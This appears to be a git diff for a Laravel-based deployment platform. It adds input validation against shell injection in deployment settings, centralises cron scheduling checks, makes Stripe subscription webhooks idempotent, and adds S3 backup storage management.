if (! preg_match('/^[a-zA-Z0-9 \-_.\/:=@,+]+$/', $command) || strlen($command) > 1000) {
$this->application_deployment_queue->addLogEntry('Warning: Health check command contains invalid characters or exceeds max length. Falling back to HTTP healthcheck.');
} else {
$this->full_healthcheck_url = $command;
return $command;
}
}
// HTTP type healthcheck (default)
@ -2804,16 +2835,16 @@ private function generate_healthcheck_commands()
: null;
$url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/'));
$method = escapeshellarg($method);
$escapedMethod = escapeshellarg($method);
if ($path) {
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}{$path}";
$this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}{$path}";
} else {
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}/";
$this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}/";
}
$generated_healthchecks_commands = [
"curl -s -X {$method} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1",
"curl -s -X {$escapedMethod} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1",
];
return implode(' ', $generated_healthchecks_commands);
@ -3940,6 +3971,24 @@ private function validatePathField(string $value, string $fieldName): string
return $value;
}
private function validateShellSafeCommand(string $value, string $fieldName): string
{
if (! preg_match(\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) {
throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters.");
}
return $value;
}
private function validateContainerName(string $value): string
{
if (! preg_match(\App\Support\ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) {
throw new \RuntimeException('Invalid container name: contains forbidden characters.');
}
return $value;
}
private function run_pre_deployment_command()
{
if (empty($this->application->pre_deployment_command)) {
@ -3953,7 +4002,17 @@ private function run_pre_deployment_command()
foreach ($containers as $container) {
$containerName = data_get($container, 'Names');
if ($containerName) {
$this->validateContainerName($containerName);
}
if ($containers->count() == 1 || str_starts_with($containerName, $this->application->pre_deployment_command_container.'-'.$this->application->uuid)) {
// Security: pre_deployment_command is intentionally treated as arbitrary shell input.
// Users (team members with deployment access) need full shell flexibility to run commands
// like "php artisan migrate", "npm run build", etc. inside their own application containers.
// The trust boundary is at the application/team ownership level — only authenticated team
// members can set these commands, and execution is scoped to the application's own container.
// The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not
// restrict the command itself. Container names are validated separately via validateContainerName().
$cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'";
$exec = "docker exec {$containerName} {$cmd}";
$this->execute_remote_command(
@ -3980,7 +4039,12 @@ private function run_post_deployment_command()
$containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id);
foreach ($containers as $container) {
$containerName = data_get($container, 'Names');
if ($containerName) {
$this->validateContainerName($containerName);
}
if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) {
// Security: post_deployment_command is intentionally treated as arbitrary shell input.
// See the equivalent comment in run_pre_deployment_command() for the full security rationale.
$cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'";
$exec = "docker exec {$containerName} {$cmd}";
try {

View file

@ -625,10 +625,16 @@ private function calculate_size()
private function upload_to_s3(): void
{
if (is_null($this->s3)) {
$this->backup->update([
'save_s3' => false,
's3_storage_id' => null,
]);
throw new \Exception('S3 storage configuration is missing or has been deleted (S3 storage ID: '.($this->backup->s3_storage_id ?? 'null').'). S3 backup has been disabled for this schedule.');
}
try {
if (is_null($this->s3)) {
return;
}
$key = $this->s3->key;
$secret = $this->s3->secret;
// $region = $this->s3->region;

View file

@ -39,19 +39,27 @@ public function __construct(
public bool $manualCleanup = false,
public bool $deleteUnusedVolumes = false,
public bool $deleteUnusedNetworks = false
) {}
) {
$this->onQueue('high');
}
public function handle(): void
{
try {
if (! $this->server->isFunctional()) {
return;
}
$this->execution_log = DockerCleanupExecution::create([
'server_id' => $this->server->id,
]);
if (! $this->server->isFunctional()) {
$this->execution_log->update([
'status' => 'failed',
'message' => 'Server is not functional (unreachable, unusable, or disabled)',
'finished_at' => Carbon::now()->toImmutable(),
]);
return;
}
$this->usageBefore = $this->server->getDiskUsage();
if ($this->manualCleanup || $this->server->settings->force_docker_cleanup) {

View file

@ -6,7 +6,6 @@
use App\Models\ScheduledTask;
use App\Models\Server;
use App\Models\Team;
use Cron\CronExpression;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
@ -185,7 +184,7 @@ private function processScheduledBackups(): void
$frequency = VALID_CRON_STRINGS[$frequency];
}
if ($this->shouldRunNow($frequency, $serverTimezone, "scheduled-backup:{$backup->id}")) {
if (shouldRunCronNow($frequency, $serverTimezone, "scheduled-backup:{$backup->id}", $this->executionTime)) {
DatabaseBackupJob::dispatch($backup);
$this->dispatchedCount++;
Log::channel('scheduled')->info('Backup dispatched', [
@ -239,7 +238,7 @@ private function processScheduledTasks(): void
$frequency = VALID_CRON_STRINGS[$frequency];
}
if (! $this->shouldRunNow($frequency, $serverTimezone, "scheduled-task:{$task->id}")) {
if (! shouldRunCronNow($frequency, $serverTimezone, "scheduled-task:{$task->id}", $this->executionTime)) {
continue;
}
@ -336,51 +335,6 @@ private function getTaskRuntimeSkipReason(ScheduledTask $task): ?string
return null;
}
/**
* Determine if a cron schedule should run now.
*
* When a dedupKey is provided, uses getPreviousRunDate() + last-dispatch tracking
* instead of isDue(). This is resilient to queue delays even if the job is delayed
* by minutes, it still catches the missed cron window. Without dedupKey, falls back
* to simple isDue() check.
*/
private function shouldRunNow(string $frequency, string $timezone, ?string $dedupKey = null): bool
{
$cron = new CronExpression($frequency);
$baseTime = $this->executionTime ?? Carbon::now();
$executionTime = $baseTime->copy()->setTimezone($timezone);
// No dedup key → simple isDue check (used by docker cleanups)
if ($dedupKey === null) {
return $cron->isDue($executionTime);
}
// Get the most recent time this cron was due (including current minute)
$previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true));
$lastDispatched = Cache::get($dedupKey);
if ($lastDispatched === null) {
// First run after restart or cache loss: only fire if actually due right now.
// Seed the cache so subsequent runs can use tolerance/catch-up logic.
$isDue = $cron->isDue($executionTime);
if ($isDue) {
Cache::put($dedupKey, $executionTime->toIso8601String(), 86400);
}
return $isDue;
}
// Subsequent runs: fire if there's been a due time since last dispatch
if ($previousDue->gt(Carbon::parse($lastDispatched))) {
Cache::put($dedupKey, $executionTime->toIso8601String(), 86400);
return true;
}
return false;
}
private function processDockerCleanups(): void
{
// Get all servers that need cleanup checks
@ -411,7 +365,7 @@ private function processDockerCleanups(): void
}
// Use the frozen execution time for consistent evaluation
if ($this->shouldRunNow($frequency, $serverTimezone)) {
if (shouldRunCronNow($frequency, $serverTimezone, "docker-cleanup:{$server->id}", $this->executionTime)) {
DockerCleanupJob::dispatch(
$server,
false,

View file

@ -108,10 +108,6 @@ public function handle()
public function failed(?\Throwable $exception): void
{
if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) {
Log::warning('ServerConnectionCheckJob timed out', [
'server_id' => $this->server->id,
'server_name' => $this->server->name,
]);
$this->server->settings->update([
'is_reachable' => false,
'is_usable' => false,
@ -131,11 +127,8 @@ private function checkHetznerStatus(): void
$serverData = $hetznerService->getServer($this->server->hetzner_server_id);
$status = $serverData['status'] ?? null;
} catch (\Throwable $e) {
Log::debug('ServerConnectionCheck: Hetzner status check failed', [
'server_id' => $this->server->id,
'error' => $e->getMessage(),
]);
} catch (\Throwable) {
// Silently ignore — server may have been deleted from Hetzner.
}
if ($this->server->hetzner_server_status !== $status) {
$this->server->update(['hetzner_server_status' => $status]);

View file

@ -5,7 +5,6 @@
use App\Models\InstanceSettings;
use App\Models\Server;
use App\Models\Team;
use Cron\CronExpression;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
use Illuminate\Contracts\Queue\ShouldQueue;
@ -80,7 +79,7 @@ private function getServers(): Collection
private function dispatchConnectionChecks(Collection $servers): void
{
if ($this->shouldRunNow($this->checkFrequency)) {
if (shouldRunCronNow($this->checkFrequency, $this->instanceTimezone, 'server-connection-checks', $this->executionTime)) {
$servers->each(function (Server $server) {
try {
// Skip SSH connection check if Sentinel is healthy — its heartbeat already proves connectivity
@ -129,13 +128,13 @@ private function processServerTasks(Server $server): void
if ($sentinelOutOfSync) {
// Dispatch ServerCheckJob if Sentinel is out of sync
if ($this->shouldRunNow($this->checkFrequency, $serverTimezone)) {
if (shouldRunCronNow($this->checkFrequency, $serverTimezone, "server-check:{$server->id}", $this->executionTime)) {
ServerCheckJob::dispatch($server);
}
}
$isSentinelEnabled = $server->isSentinelEnabled();
$shouldRestartSentinel = $isSentinelEnabled && $this->shouldRunNow('0 0 * * *', $serverTimezone);
$shouldRestartSentinel = $isSentinelEnabled && shouldRunCronNow('0 0 * * *', $serverTimezone, "sentinel-restart:{$server->id}", $this->executionTime);
// Dispatch Sentinel restart if due (daily for Sentinel-enabled servers)
if ($shouldRestartSentinel) {
@ -149,7 +148,7 @@ private function processServerTasks(Server $server): void
if (isset(VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency])) {
$serverDiskUsageCheckFrequency = VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency];
}
$shouldRunStorageCheck = $this->shouldRunNow($serverDiskUsageCheckFrequency, $serverTimezone);
$shouldRunStorageCheck = shouldRunCronNow($serverDiskUsageCheckFrequency, $serverTimezone, "server-storage-check:{$server->id}", $this->executionTime);
if ($shouldRunStorageCheck) {
ServerStorageCheckJob::dispatch($server);
@ -157,7 +156,7 @@ private function processServerTasks(Server $server): void
}
// Dispatch ServerPatchCheckJob if due (weekly)
$shouldRunPatchCheck = $this->shouldRunNow('0 0 * * 0', $serverTimezone);
$shouldRunPatchCheck = shouldRunCronNow('0 0 * * 0', $serverTimezone, "server-patch-check:{$server->id}", $this->executionTime);
if ($shouldRunPatchCheck) { // Weekly on Sunday at midnight
ServerPatchCheckJob::dispatch($server);
@ -166,15 +165,4 @@ private function processServerTasks(Server $server): void
// Note: CheckAndStartSentinelJob is only dispatched daily (line above) for version updates.
// Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob.
}
private function shouldRunNow(string $frequency, ?string $timezone = null): bool
{
$cron = new CronExpression($frequency);
// Use the frozen execution time, not the current time
$baseTime = $this->executionTime ?? Carbon::now();
$executionTime = $baseTime->copy()->setTimezone($timezone ?? config('app.timezone'));
return $cron->isDue($executionTime);
}
}

View file

@ -2,6 +2,7 @@
namespace App\Jobs;
use App\Actions\Stripe\UpdateSubscriptionQuantity;
use App\Models\Subscription;
use App\Models\Team;
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
@ -72,25 +73,15 @@ public function handle(): void
// send_internal_notification("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}, subscriptionid: {$subscriptionId}.");
throw new \RuntimeException("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}, subscriptionid: {$subscriptionId}.");
}
$subscription = Subscription::where('team_id', $teamId)->first();
if ($subscription) {
// send_internal_notification('Old subscription activated for team: '.$teamId);
$subscription->update([
Subscription::updateOrCreate(
['team_id' => $teamId],
[
'stripe_subscription_id' => $subscriptionId,
'stripe_customer_id' => $customerId,
'stripe_invoice_paid' => true,
'stripe_past_due' => false,
]);
} else {
// send_internal_notification('New subscription for team: '.$teamId);
Subscription::create([
'team_id' => $teamId,
'stripe_subscription_id' => $subscriptionId,
'stripe_customer_id' => $customerId,
'stripe_invoice_paid' => true,
'stripe_past_due' => false,
]);
}
]
);
break;
case 'invoice.paid':
$customerId = data_get($data, 'customer');
@ -226,18 +217,15 @@ public function handle(): void
// send_internal_notification("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}.");
throw new \RuntimeException("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}.");
}
$subscription = Subscription::where('team_id', $teamId)->first();
if ($subscription) {
// send_internal_notification("Subscription already exists for team: {$teamId}");
throw new \RuntimeException("Subscription already exists for team: {$teamId}");
} else {
Subscription::create([
'team_id' => $teamId,
Subscription::updateOrCreate(
['team_id' => $teamId],
[
'stripe_subscription_id' => $subscriptionId,
'stripe_customer_id' => $customerId,
'stripe_invoice_paid' => false,
]);
}
]
);
break;
case 'customer.subscription.updated':
$teamId = data_get($data, 'metadata.team_id');
$userId = data_get($data, 'metadata.user_id');
@ -252,34 +240,33 @@ public function handle(): void
$subscription = Subscription::where('stripe_customer_id', $customerId)->first();
if (! $subscription) {
if ($status === 'incomplete_expired') {
// send_internal_notification('Subscription incomplete expired');
throw new \RuntimeException('Subscription incomplete expired');
}
if ($teamId) {
$subscription = Subscription::create([
'team_id' => $teamId,
if (! $teamId) {
throw new \RuntimeException('No subscription and team id found');
}
$subscription = Subscription::firstOrCreate(
['team_id' => $teamId],
[
'stripe_subscription_id' => $subscriptionId,
'stripe_customer_id' => $customerId,
'stripe_invoice_paid' => false,
]);
} else {
// send_internal_notification('No subscription and team id found');
throw new \RuntimeException('No subscription and team id found');
}
]
);
}
$cancelAtPeriodEnd = data_get($data, 'cancel_at_period_end');
$feedback = data_get($data, 'cancellation_details.feedback');
$comment = data_get($data, 'cancellation_details.comment');
$lookup_key = data_get($data, 'items.data.0.price.lookup_key');
if (str($lookup_key)->contains('dynamic')) {
$quantity = data_get($data, 'items.data.0.quantity', 2);
$quantity = min((int) data_get($data, 'items.data.0.quantity', 2), UpdateSubscriptionQuantity::MAX_SERVER_LIMIT);
$team = data_get($subscription, 'team');
if ($team) {
$team->update([
'custom_server_limit' => $quantity,
]);
ServerLimitCheckJob::dispatch($team);
}
ServerLimitCheckJob::dispatch($team);
}
$subscription->update([
'stripe_feedback' => $feedback,

View file

@ -82,12 +82,9 @@ public function handle(): void
'stripe_past_due' => false,
]);
// Trigger subscription ended logic if canceled
if ($stripeSubscription->status === 'canceled') {
$team = $this->subscription->team;
if ($team) {
$team->subscriptionEnded();
}
$team = $this->subscription->team;
if ($team) {
$team->subscriptionEnded();
}
break;

View file

@ -7,7 +7,6 @@
use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Collection;
use Livewire\Attributes\Validate;
use Livewire\Component;
use Spatie\Url\Url;
use Visus\Cuid2\Cuid2;
@ -22,136 +21,95 @@ class General extends Component
public Collection $services;
#[Validate('required|regex:/^[a-zA-Z0-9\s\-_.\/:()]+$/')]
public string $name;
#[Validate(['string', 'nullable'])]
public ?string $description = null;
#[Validate(['nullable'])]
public ?string $fqdn = null;
#[Validate(['required'])]
public string $gitRepository;
#[Validate(['required'])]
public string $gitBranch;
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])]
public ?string $gitCommitSha = null;
#[Validate(['string', 'nullable'])]
public ?string $installCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $buildCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $startCommand = null;
#[Validate(['required'])]
public string $buildPack;
#[Validate(['required'])]
public string $staticImage;
#[Validate(['required'])]
public string $baseDirectory;
#[Validate(['string', 'nullable'])]
public ?string $publishDirectory = null;
#[Validate(['string', 'nullable'])]
public ?string $portsExposes = null;
#[Validate(['string', 'nullable'])]
public ?string $portsMappings = null;
#[Validate(['string', 'nullable'])]
public ?string $customNetworkAliases = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerfile = null;
#[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])]
public ?string $dockerfileLocation = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerfileTargetBuild = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerRegistryImageName = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerRegistryImageTag = null;
#[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])]
public ?string $dockerComposeLocation = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerCompose = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerComposeRaw = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerComposeCustomStartCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $dockerComposeCustomBuildCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $customDockerRunOptions = null;
#[Validate(['string', 'nullable'])]
// Security: pre/post deployment commands are intentionally arbitrary shell — users need full
// flexibility (e.g. "php artisan migrate"). Access is gated by team authentication/authorization.
// Commands execute inside the application's own container, not on the host.
public ?string $preDeploymentCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $preDeploymentCommandContainer = null;
#[Validate(['string', 'nullable'])]
public ?string $postDeploymentCommand = null;
#[Validate(['string', 'nullable'])]
public ?string $postDeploymentCommandContainer = null;
#[Validate(['string', 'nullable'])]
public ?string $customNginxConfiguration = null;
#[Validate(['boolean', 'required'])]
public bool $isStatic = false;
#[Validate(['boolean', 'required'])]
public bool $isSpa = false;
#[Validate(['boolean', 'required'])]
public bool $isBuildServerEnabled = false;
#[Validate(['boolean', 'required'])]
public bool $isPreserveRepositoryEnabled = false;
#[Validate(['boolean', 'required'])]
public bool $isContainerLabelEscapeEnabled = true;
#[Validate(['boolean', 'required'])]
public bool $isContainerLabelReadonlyEnabled = false;
#[Validate(['boolean', 'required'])]
public bool $isHttpBasicAuthEnabled = false;
#[Validate(['string', 'nullable'])]
public ?string $httpBasicAuthUsername = null;
#[Validate(['string', 'nullable'])]
public ?string $httpBasicAuthPassword = null;
#[Validate(['nullable'])]
public ?string $watchPaths = null;
#[Validate(['string', 'required'])]
public string $redirect;
#[Validate(['nullable'])]
public $customLabels;
public bool $labelsChanged = false;
@ -184,33 +142,33 @@ protected function rules(): array
'fqdn' => 'nullable',
'gitRepository' => 'required',
'gitBranch' => 'required',
'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
'installCommand' => 'nullable',
'buildCommand' => 'nullable',
'startCommand' => 'nullable',
'buildPack' => 'required',
'staticImage' => 'required',
'baseDirectory' => 'required',
'publishDirectory' => 'nullable',
'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)),
'publishDirectory' => ValidationPatterns::directoryPathRules(),
'portsExposes' => 'required',
'portsMappings' => 'nullable',
'customNetworkAliases' => 'nullable',
'dockerfile' => 'nullable',
'dockerRegistryImageName' => 'nullable',
'dockerRegistryImageTag' => 'nullable',
'dockerfileLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN],
'dockerComposeLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN],
'dockerfileLocation' => ValidationPatterns::filePathRules(),
'dockerComposeLocation' => ValidationPatterns::filePathRules(),
'dockerCompose' => 'nullable',
'dockerComposeRaw' => 'nullable',
'dockerfileTargetBuild' => 'nullable',
'dockerComposeCustomStartCommand' => 'nullable',
'dockerComposeCustomBuildCommand' => 'nullable',
'dockerfileTargetBuild' => ValidationPatterns::dockerTargetRules(),
'dockerComposeCustomStartCommand' => ValidationPatterns::shellSafeCommandRules(),
'dockerComposeCustomBuildCommand' => ValidationPatterns::shellSafeCommandRules(),
'customLabels' => 'nullable',
'customDockerRunOptions' => 'nullable',
'customDockerRunOptions' => ValidationPatterns::shellSafeCommandRules(2000),
'preDeploymentCommand' => 'nullable',
'preDeploymentCommandContainer' => 'nullable',
'preDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()],
'postDeploymentCommand' => 'nullable',
'postDeploymentCommandContainer' => 'nullable',
'postDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()],
'customNginxConfiguration' => 'nullable',
'isStatic' => 'boolean|required',
'isSpa' => 'boolean|required',
@ -233,6 +191,14 @@ protected function messages(): array
[
...ValidationPatterns::filePathMessages('dockerfileLocation', 'Dockerfile'),
...ValidationPatterns::filePathMessages('dockerComposeLocation', 'Docker Compose'),
'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.',
'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.',
'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.',
'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
'name.required' => 'The Name field is required.',
'gitRepository.required' => 'The Git Repository field is required.',
'gitBranch.required' => 'The Git Branch field is required.',

View file

@ -13,33 +13,33 @@ class Index extends Component
public Environment $environment;
public Collection $applications;
public Collection $postgresqls;
public Collection $redis;
public Collection $mongodbs;
public Collection $mysqls;
public Collection $mariadbs;
public Collection $keydbs;
public Collection $dragonflies;
public Collection $clickhouses;
public Collection $services;
public Collection $allProjects;
public Collection $allEnvironments;
public array $parameters;
public function mount()
protected Collection $applications;
protected Collection $postgresqls;
protected Collection $redis;
protected Collection $mongodbs;
protected Collection $mysqls;
protected Collection $mariadbs;
protected Collection $keydbs;
protected Collection $dragonflies;
protected Collection $clickhouses;
protected Collection $services;
public function mount(): void
{
$this->applications = $this->postgresqls = $this->redis = $this->mongodbs = $this->mysqls = $this->mariadbs = $this->keydbs = $this->dragonflies = $this->clickhouses = $this->services = collect();
$this->parameters = get_route_parameters();
@ -55,31 +55,23 @@ public function mount()
$this->project = $project;
// Load projects and environments for breadcrumb navigation (avoids inline queries in view)
// Load projects and environments for breadcrumb navigation
$this->allProjects = Project::ownedByCurrentTeamCached();
$this->allEnvironments = $project->environments()
->select('id', 'uuid', 'name', 'project_id')
->with([
'applications.additional_servers',
'applications.destination.server',
'services',
'services.destination.server',
'postgresqls',
'postgresqls.destination.server',
'redis',
'redis.destination.server',
'mongodbs',
'mongodbs.destination.server',
'mysqls',
'mysqls.destination.server',
'mariadbs',
'mariadbs.destination.server',
'keydbs',
'keydbs.destination.server',
'dragonflies',
'dragonflies.destination.server',
'clickhouses',
'clickhouses.destination.server',
])->get();
'applications:id,uuid,name,environment_id',
'services:id,uuid,name,environment_id',
'postgresqls:id,uuid,name,environment_id',
'redis:id,uuid,name,environment_id',
'mongodbs:id,uuid,name,environment_id',
'mysqls:id,uuid,name,environment_id',
'mariadbs:id,uuid,name,environment_id',
'keydbs:id,uuid,name,environment_id',
'dragonflies:id,uuid,name,environment_id',
'clickhouses:id,uuid,name,environment_id',
])
->get();
$this->environment = $environment->loadCount([
'applications',
@ -94,11 +86,9 @@ public function mount()
'services',
]);
// Eager load all relationships for applications including nested ones
// Eager load relationships for applications
$this->applications = $this->environment->applications()->with([
'tags',
'additional_servers.settings',
'additional_networks',
'destination.server.settings',
'settings',
])->get()->sortBy('name');
@ -160,6 +150,49 @@ public function mount()
public function render()
{
return view('livewire.project.resource.index');
return view('livewire.project.resource.index', [
'applications' => $this->applications,
'postgresqls' => $this->postgresqls,
'redis' => $this->redis,
'mongodbs' => $this->mongodbs,
'mysqls' => $this->mysqls,
'mariadbs' => $this->mariadbs,
'keydbs' => $this->keydbs,
'dragonflies' => $this->dragonflies,
'clickhouses' => $this->clickhouses,
'services' => $this->services,
'applicationsJs' => $this->toSearchableArray($this->applications),
'postgresqlsJs' => $this->toSearchableArray($this->postgresqls),
'redisJs' => $this->toSearchableArray($this->redis),
'mongodbsJs' => $this->toSearchableArray($this->mongodbs),
'mysqlsJs' => $this->toSearchableArray($this->mysqls),
'mariadbsJs' => $this->toSearchableArray($this->mariadbs),
'keydbsJs' => $this->toSearchableArray($this->keydbs),
'dragonfliesJs' => $this->toSearchableArray($this->dragonflies),
'clickhousesJs' => $this->toSearchableArray($this->clickhouses),
'servicesJs' => $this->toSearchableArray($this->services),
]);
}
private function toSearchableArray(Collection $items): array
{
return $items->map(fn ($item) => [
'uuid' => $item->uuid,
'name' => $item->name,
'fqdn' => $item->fqdn ?? null,
'description' => $item->description ?? null,
'status' => $item->status ?? '',
'server_status' => $item->server_status ?? null,
'hrefLink' => $item->hrefLink ?? '',
'destination' => [
'server' => [
'name' => $item->destination?->server?->name ?? 'Unknown',
],
],
'tags' => $item->tags->map(fn ($tag) => [
'id' => $tag->id,
'name' => $tag->name,
])->values()->toArray(),
])->values()->toArray();
}
}

View file

@ -40,12 +40,16 @@ class FileStorage extends Component
#[Validate(['required', 'boolean'])]
public bool $isBasedOnGit = false;
#[Validate(['required', 'boolean'])]
public bool $isPreviewSuffixEnabled = true;
protected $rules = [
'fileStorage.is_directory' => 'required',
'fileStorage.fs_path' => 'required',
'fileStorage.mount_path' => 'required',
'content' => 'nullable',
'isBasedOnGit' => 'required|boolean',
'isPreviewSuffixEnabled' => 'required|boolean',
];
public function mount()
@ -71,12 +75,14 @@ public function syncData(bool $toModel = false): void
// Sync to model
$this->fileStorage->content = $this->content;
$this->fileStorage->is_based_on_git = $this->isBasedOnGit;
$this->fileStorage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled;
$this->fileStorage->save();
} else {
// Sync from model
$this->content = $this->fileStorage->content;
$this->isBasedOnGit = $this->fileStorage->is_based_on_git;
$this->isPreviewSuffixEnabled = $this->fileStorage->is_preview_suffix_enabled ?? true;
}
}
@ -175,6 +181,7 @@ public function submit()
// Sync component properties to model
$this->fileStorage->content = $this->content;
$this->fileStorage->is_based_on_git = $this->isBasedOnGit;
$this->fileStorage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled;
$this->fileStorage->save();
$this->fileStorage->saveStorageOnServer();
$this->dispatch('success', 'File updated.');
@ -187,9 +194,11 @@ public function submit()
}
}
public function instantSave()
public function instantSave(): void
{
$this->submit();
$this->authorize('update', $this->resource);
$this->syncData(true);
$this->dispatch('success', 'File updated.');
}
public function render()

View file

@ -98,6 +98,9 @@ public function getResourceProperty()
public function refresh()
{
if (! $this->env->exists || ! $this->env->fresh()) {
return;
}
$this->syncData();
$this->checkEnvs();
}

View file

@ -29,10 +29,13 @@ class Show extends Component
public ?string $hostPath = null;
public bool $isPreviewSuffixEnabled = true;
protected $rules = [
'name' => 'required|string',
'mountPath' => 'required|string',
'hostPath' => 'string|nullable',
'isPreviewSuffixEnabled' => 'required|boolean',
];
protected $validationAttributes = [
@ -53,11 +56,13 @@ private function syncData(bool $toModel = false): void
$this->storage->name = $this->name;
$this->storage->mount_path = $this->mountPath;
$this->storage->host_path = $this->hostPath;
$this->storage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled;
} else {
// Sync FROM model (on load/refresh)
$this->name = $this->storage->name;
$this->mountPath = $this->storage->mount_path;
$this->hostPath = $this->storage->host_path;
$this->isPreviewSuffixEnabled = $this->storage->is_preview_suffix_enabled ?? true;
}
}
@ -67,6 +72,16 @@ public function mount()
$this->isReadOnly = $this->storage->shouldBeReadOnlyInUI();
}
public function instantSave(): void
{
$this->authorize('update', $this->resource);
$this->validate();
$this->syncData(true);
$this->storage->save();
$this->dispatch('success', 'Storage updated successfully');
}
public function submit()
{
$this->authorize('update', $this->resource);

View file

@ -6,6 +6,7 @@
use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Facades\DB;
use Livewire\Attributes\On;
use Livewire\Component;
class Form extends Component
@ -131,19 +132,7 @@ public function testConnection()
}
}
public function delete()
{
try {
$this->authorize('delete', $this->storage);
$this->storage->delete();
return redirect()->route('storage.index');
} catch (\Throwable $e) {
return handleError($e, $this);
}
}
#[On('submitStorage')]
public function submit()
{
try {

View file

@ -0,0 +1,85 @@
<?php
namespace App\Livewire\Storage;
use App\Models\S3Storage;
use App\Models\ScheduledDatabaseBackup;
use Livewire\Component;
class Resources extends Component
{
public S3Storage $storage;
public array $selectedStorages = [];
public function mount(): void
{
$backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)
->where('save_s3', true)
->get();
foreach ($backups as $backup) {
$this->selectedStorages[$backup->id] = $this->storage->id;
}
}
public function disableS3(int $backupId): void
{
$backup = ScheduledDatabaseBackup::findOrFail($backupId);
$backup->update([
'save_s3' => false,
's3_storage_id' => null,
]);
unset($this->selectedStorages[$backupId]);
$this->dispatch('success', 'S3 disabled.', 'S3 backup has been disabled for this schedule.');
}
public function moveBackup(int $backupId): void
{
$backup = ScheduledDatabaseBackup::findOrFail($backupId);
$newStorageId = $this->selectedStorages[$backupId] ?? null;
if (! $newStorageId || (int) $newStorageId === $this->storage->id) {
$this->dispatch('error', 'No change.', 'The backup is already using this storage.');
return;
}
$newStorage = S3Storage::where('id', $newStorageId)
->where('team_id', $this->storage->team_id)
->first();
if (! $newStorage) {
$this->dispatch('error', 'Storage not found.');
return;
}
$backup->update(['s3_storage_id' => $newStorage->id]);
unset($this->selectedStorages[$backupId]);
$this->dispatch('success', 'Backup moved.', "Moved to {$newStorage->name}.");
}
public function render()
{
$backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)
->where('save_s3', true)
->with('database')
->get()
->groupBy(fn ($backup) => $backup->database_type.'-'.$backup->database_id);
